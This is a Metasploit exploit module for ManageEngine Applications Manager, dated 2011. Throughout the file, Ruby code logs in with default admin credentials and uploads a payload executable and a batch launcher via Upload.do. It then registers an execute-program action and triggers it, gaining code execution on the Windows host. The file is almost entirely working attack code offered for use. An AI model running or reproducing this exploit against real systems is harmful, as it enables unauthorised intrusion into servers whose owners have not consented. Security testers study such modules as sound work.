ManageEngine Applications Manager Authenticated Code Execution



##

# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize
        super(
            'Name'        => 'ManageEngine Applications Manager Authenticated Code Execution',
            'Version'    => '$Revision: 12281 $',
            'Description'    => %q{
                        This module logs into the Manage Engine Appplications Manager to upload a 
                    payload to the file system and a batch script that executes the payload. },
            'Author'    => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
            'Platform'    => 'win',
            'Targets'    =>
                    [
                        ['Automatic',{}],
                    ],
            'DefaultTarget'    =>    0
            )
            
        register_options(
            [ Opt::RPORT(9090),
                OptString.new('URI', [false, "URI for Applications Manager", '/']),
                OptString.new('USER', [false, "username", 'admin']),
                OptString.new('PASS', [false, "password", 'admin']),
        ], self.class)
    end
    def target_url
        "http://#{rhost}:#{rport}#{datastore['URI']}"
    end
    def exploit
        # Make initial request to get assigned a session token
        cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
        cookie << "am_username=;am_check="
        begin
            print_status "#{target_url} Applications Manager - Requesting Session Token"
            res = send_request_cgi({
                'method'=> 'GET',
                'uri'    => "#{target_url}/webclient/common/jsp/home.jsp",
                'cookie'  => cookie.to_s
            }, 20)

            if !res
                print_error("Request to #{target_host} failed")
                return
            end

            if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
                cookie << "; #{$1}"
                print_good("Assigned #{$1}")
            else
                print_error("Initial request failed: http error #{res.code}")
                return
            end

        rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end

        # send cookie to index.do
        begin
            print_status "Sending session token to #{target_url}/index.do"
            res = send_request_raw({
                'method'  => 'GET',
                'uri'     => "#{target_url}/index.do",
                'cookie' => cookie
            }, 20)

            if !res || res.code != 200
                print_error("Request to #{target_url} failed")
            end

        rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
            print_error("Request to #{target_url}/index.do failed")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end

        # Log in with the assigned session token
        post_data = "clienttype2=html&j_username="
        post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
        post_data << "j_password="
        post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
        print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")

        begin
            res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => "#{target_url}/j_security_check",
                'cookie' => cookie,
                'data'    => post_data.to_s
            }, 20)

            if !res
                print_error("Request to #{target_url} Failed")
            end
            # Server responds with a 302 redirect when the login is successful and
            # HTTP 200 for a failed login
            if res and res.code == 302
                print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
            else
                print_error("Failed to log into #{target_url}")
                return
            end

        rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
            print_error("Request to #{target_url}/j_security_check failed")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end
        # initial request to upload.do
        # I think this is required to upload content later on.
        begin
            res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => "#{target_url}/Upload.do",
                'cookie'=> cookie,
                'data'    => post_data
            }, 20)

            if !res
                print_error("HTTP request to #{target_url} Failed")
            end

        rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
            print_error("Request to #{target_url}/Upload.do Failed")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end

        # Transfer the payload executable via POST request to Upload.do
        boundary = rand_text_numeric(11)
        payload_file = "#{rand_text_alphanumeric(20)}.exe"
        lines = "-----------------------------#{boundary}"
        content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
        content_disposition << "filename=\"#{payload_file}\"\r\n"
        post_data = lines + "\r\n" + content_disposition.to_s
        post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
        post_data << "#{generate_payload_exe}\r\n\r\n"
        post_data << lines + "\r\nContent-Disposition: form-data; "
        post_data << "name=\"uploadDir\"\r\n\r\n"
        post_data << ".\/\r\n#{lines}--\r\n"

        begin
            referer = "http://#{target_url}/Upload.do"
            res = send_request_raw({
                'method'  => 'POST',
                'uri'     => "#{target_url}/Upload.do",
                'headers' => {  'Referer' => referer,
                    'cookie' => "#{cookie}\r\nContent-Type: " +
                    "multipart/form-data; " +
                    "boundary=---------------------------#{boundary}",
                    'Content-Length' => post_data.length},
                    'data'    => post_data
            }, 20)

            if !res
                print_error("Request to #{target_url} failed")
            end

            if res and res.code == 200
                print_good("Uploaded payload #{payload_file}")
            else
                print_error("Response HTTP #{res.code} and HTTP 302 expected")
            end

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("Request to #{target_url}/Upload.do failed")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end
        # Transfer the batch sript via POST request to Upload.do
        # The server will eventually call the batch script, which will call the payload.exe
        boundary = rand_text_numeric(11)
        bat_file = "#{rand_text_alphanumeric(20)}.bat"
        lines = "-----------------------------#{boundary}"
        content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
        content_disposition << "filename=\"#{bat_file}\"\r\n"
        post_data = lines + "\r\n" + content_disposition.to_s
        post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
        post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
        post_data << "g\\#{payload_file}\"\r\n\r\n"
        post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
        post_data << "\r\n\r\n"
        post_data << ".\/\r\n#{lines}--\r\n"

        begin
            referer = "#{target_url}/Upload.do"
                res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => "#{target_url}/Upload.do",
                'headers' => {  'Referer' => referer,
                'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
                "boundary=---------------------------#{boundary}",
                'Content-Length' => post_data.length},
                'data'    => post_data
            }, 20)

            if !res
                print_error("HTTP request to #{target_url} failed")
                return
            end

            if res and res.code == 200
                print_good("Uploaded #{bat_file} to execute #{payload_file}")
            end

        rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
            print_error("Request to #{target_url}/Upload.do failed")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end

        action_name = "#{rand_text_alphanumeric(20)}"
        post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
        post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
        post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
        post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
        post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
        post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
        post_data << "bortafter=10&cancel=false"

        # This client request is necessary because it sends a request to the server
        # specifying that we are interested in executing the batch script.  If
        # successful, the server response body will contain an actionID that is
        # used to tell the server to execute the script.
        begin
            referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
            res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => "#{target_url}/adminAction.do",
                'headers' => {  'Referer' => referer,
                'cookie' => cookie,
                'Content-Type' => "application/x-www-form-urlencoded",
                'Content-Length' => post_data.to_s.length},
                'data'    => post_data.to_s
            }, 20)

            if !res
                print_error("Request to #{target_host} failed")
            end

            # We are parsing the response in order to determine the correct actionID.
            # My solution for doing this is to iterate through the HTTP response one
            # line at a time.  The correct actionID always comes up several lines 
            # after reading the name of the batch file 3 times.  Even if other batch 
            # files are mixed up in the list of actions to execute, ours is always 
            # the next one after reading the batch file name 3 times

            if res and (res.code == 302 || res.code == 200)
                action_id = 0
                x = 0
                res.body.each_line do |k|
                    k.strip!
                    if((k =~ /&actionID=(\d{8})/) && (x == 3))
                        action_id = $1
                        break;
                    elsif((k =~ /#{bat_file}/) && (x < 3))
                        x+=1
                    end
                end
            else
                print_error("HTTP error #{res.code} and HTTP 302 expected")
            end

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("HTTP request to #{target_url}/adminAction.do ")
            return
        rescue ::Timeout::Error, ::Errno::EPIPE
            return
        end

        begin
            referer = "#{target_url}/common/executeScript.do?"
            referer << "method=testAction&actionID=#{action_id}&haid=null"
            print_good("Requesting to execute batch file with actionID #{action_id}")
            res = send_request_cgi({
                'method'  => 'GET',
                'uri'     => "#{target_url}/common/executeScript.do?method=testAction&" + 
                        "actionID=#{action_id}&haid=null",
                'headers' => {  'Referer' => referer,
                'cookie' =>     "executeProgramActionTable_sortcol=1; " + 
                        "executeProgramActionTable_sortdir=down; " + 
                        "#{cookie}; executeProgramActionTable_" + 
                        "sortdir=down; executeProgramActionTable_sortcol=1",
                'Content-Type' => "application/x-www-form-urlencoded"}
            }, 20)

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("Request to execute the actionID failed")
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
    end
end